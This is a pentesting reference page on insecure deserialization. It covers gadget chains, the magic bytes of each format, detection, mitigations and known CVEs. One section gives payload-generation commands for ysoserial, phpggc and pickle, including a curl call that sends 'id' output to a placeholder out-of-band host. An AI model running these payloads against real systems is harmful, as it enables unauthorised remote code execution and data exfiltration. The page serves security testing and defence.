Skip to content

Insecure deserialization

Serializing turns an object into bytes; deserializing rebuilds it. If the app deserializes attacker-controlled data, the attacker can manipulate the reconstruction flow to instantiate objects and trigger methods that, chained together (gadget chains), end in remote code execution. It’s one of the most powerful and hardest-to-spot RCE paths.

flowchart LR
    A[Attacker] -->|"malicious serialized object"| APP["App (deserializes without validation)"]
    APP -->|"reconstructs the object"| G["Gadget chain<br/>(classpath classes)"]
    G -->|"execution"| RCE[RCE]

RCE on the server (typical with a good chain), DoS, and in some cases authentication bypass or logic tampering (changing attributes of a trusted object, e.g. isAdmin=true).

On deserialization, the runtime recreates objects and runs “magic” methods during the process: PHP __wakeup/__destruct, Java readObject, Python pickle.__reduce__, .NET (de)serialization callbacks. A gadget is a class already on the classpath whose method, when run in the chain, does something useful (reflection, command execution). The chain links gadgets from the entry point to execution. The app needn’t use the class: it just has to be available.

  • Java (ObjectInputStream) · PHP (unserialize) · .NET (BinaryFormatter, ViewState, Json.NET with TypeNameHandling) · Python (pickle, yaml.load) · Ruby (Marshal) · Node (various packages).
Java : bytes 0xAC 0xED 0x00 0x05 | in Base64 starts with rO0
PHP : O:4:"User":2:{...} (object) a:..{..} (array)
.NET : __VIEWSTATE / long Base64; AAEAAAD///// (BinaryFormatter)
Python : pickle (opcodes) ; base64 starting with gASV / gAJ
Ruby : Marshal -> \x04\x08
Ventana de terminal
# Java: generate a payload with a known gadget chain
java -jar ysoserial.jar CommonsCollections5 'curl http://oob.tld/`id`' | base64
# PHP: generate a chain (framework gadget present)
phpggc Laravel/RCE1 system id -b # -b = base64
# .NET
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "cmd /c whoami"
# Python pickle (__reduce__ concept)
# class E: def __reduce__(self): return (os.system, ('id',))
# pickle.dumps(E()) -> send to the endpoint that does pickle.loads

Confirm blind with OOB interaction (DNS/HTTP to your collaborator).

Direct RCE (often unauthenticated), secret exfiltration, pivot and persistence. A single endpoint deserializing without control is usually full compromise.

  • Deserialization of untrusted-origin data (code review / SCA).
  • Magic bytes in traffic (rO0, AAEAAAD/////, \xAC\xED) toward endpoints.
  • The app process spawning shells/unusual binaries (EDR).

WAF with serialized-blob signatures, app logs, process creation (auditd/Sysmon), egress/DNS.

  1. Don’t deserialize untrusted data. If unavoidable, use data-only formats (JSON/Protobuf) with parsers that don’t instantiate arbitrary types.
  2. Sign/encrypt (HMAC) serialized objects that must travel via the client, and verify before deserializing.
  3. Allow-list permitted classes (look-ahead deserialization; in Java, ObjectInputFilter). Never a block-list.
  4. In .NET, avoid BinaryFormatter and TypeNameHandling.All; keep dependencies updated (gadgets live in libraries).

Isolate, rotate secrets, hunt for persistence, patch the endpoint and review which gadgets were on the classpath.

  • Apache Commons Collections (2015) — the gadget chain that made Java deserialization RCE famous; affected WebLogic, JBoss, Jenkins, WebSphere and more.
  • Oracle WebLogic — multiple T3/IIOP deserialization RCEs (e.g. CVE-2015-4852 and a long later list), heavily exploited.
  • .NET ViewState / BinaryFormatter — recurring RCE when the machineKey leaks or TypeNameHandling is misconfigured.

Product-specific CVEs in NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).

  • Serialized blobs identified by magic bytes/format.
  • Chain generation tested with the language’s tool (ysoserial/phpggc…).
  • RCE confirmed (in-band or OOB) with a harmless command.
  • Cookies/ViewState/hidden fields carrying serialized data reviewed.
  • Impact documented without harming real data.